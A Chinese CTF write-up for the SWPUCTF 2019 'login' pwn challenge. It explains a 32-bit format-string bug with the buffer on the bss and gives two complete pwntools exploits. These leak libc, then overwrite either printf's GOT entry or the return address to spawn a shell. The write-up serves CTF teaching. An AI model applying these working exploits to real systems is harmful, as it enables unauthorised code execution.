这道题用了两种方法去做,一种是修改got表,零一种是修改返回值控制执行流。
IDA分析
很明显的格式化字符串漏洞,但是是在bss段上
总结一下32位格式化字符串在bss段上的处理方法就是:寻找一个类似ebp的栈上寄存器,如下图
通过修改这个ebp,可以修改上图0xffc78f38的值为想要的(记住:格式化字符串修改栈上指针指向区域的地址,因此是0xffc78f38)如果想要劫持got表,寻找下面80开头的数据(和got表比较相关)修改完后就可以变成下图这样
(思考一下为什么要这么写:因为一般的格式化字符串可以将地址写到栈上,但是这里在bss上显然是不可能,只能借助辅助工具ebp间接写入到栈上)
我们先修改ebp位置指向80开头的数据,修改为后几位为victim_got,再找到一个80开头的,修改为victim_got+2,接下来同时修改上述两个就可以了,在这里就是先修改ebp位置(第六位)def4结尾(因为这里是80开头,只需要修改后面几位),改def8指针(第10位)修改def4指针的80开头数据后几位为got,之后相同的操作。
为什么要修改两个,一个是got另外一个是got+2,因为担心一次写不完这么多,分两次写入。但是要注意两次必须是同时,不然再次调用printf会找不到函数。
如果想要修改返回值,要重复上述操作四次,分别控制system和/bin/sh\x00字符串地址写入。这种方法可以在保护全开的时候使用。(也可以泄露PIE基地址)结果如下图
修改GOT表exp
from LibcSearcher import *
from pwn import *
io=process('./SWPUCTF_2019_login')
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'
# cause of using bss-string, we can't write to arbitary address
def fmtsend(addr,place):
io.recvuntil('Try again!\n')
payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
print payload
io.sendline(payload)
def debug():
gdb.attach(io,"b *0x080485AF")
io.sendline('aa')
io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])
heap_base = target-0x28
stack_addr = heap_base+0x2c
stack_addr2=heap_base+0x24
bias1=stack_addr&0xffff
bias2=elf.got['printf']&0xffff
bias3=stack_addr2&0xffff
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
print hex(bias1)
print hex(bias2)
print hex(system)
print hex(system_for4)
print hex(system_back4)
# pause()
# gdb.attach(io,"b *0x080485AF")
fmtsend(bias1,6)
fmtsend(bias2,10)
fmtsend(bias1-8,6)
fmtsend(bias2+2,10)
payload = '%'+str(system_back4)+'c'+'%'+str(11)+'$hn'+'%'+str(system_for4-system_back4)+'c'+'%'+str(9)+'$hn'
io.recvuntil('Try again!\n')
io.sendline(payload)
io.sendline(';sh')
io.interactive()
修改返回地址exp
from LibcSearcher import *
from pwn import *
io=process('./SWPUCTF_2019_login')
# io=remote('node4.buuoj.cn',27728)
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'
# cause of using bss-string, we can't write to arbitary address
def fmtsend(addr,place):
io.recvuntil('Try again!\n')
payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
print payload
io.sendline(payload)
def debug():
gdb.attach(io,"b *0x080485AF")
io.sendline('aa')
io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])
binsh=libc_base+libc.search('/bin/sh\x00').next()
print "system" + hex(system)
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
binsh_for4=(binsh&0xffff0000)>>16
binsh_back4=binsh&0xffff
heap_base = target-0x28
ret_addr=heap_base+7*4
param_addr=heap_base+9*4
param_addr_4=param_addr&0xffff
ret_addr_4=ret_addr&0xffff
fmtsend(ret_addr_4,6)
fmtsend(system_back4,10)
fmtsend(ret_addr_4+2,6)
fmtsend(system_for4,10)
fmtsend(param_addr_4,6)
fmtsend(binsh_back4,10)
fmtsend(param_addr_4+2,6)
fmtsend(binsh_for4,10)
debug()
io.recvuntil('Try again!\n')
# gdb.attach(io,"b *0x080485DB")
io.sendline('wllmmllw')
io.interactive()
这里没有打远程,因为一开始忘记换libc了,觉得太麻烦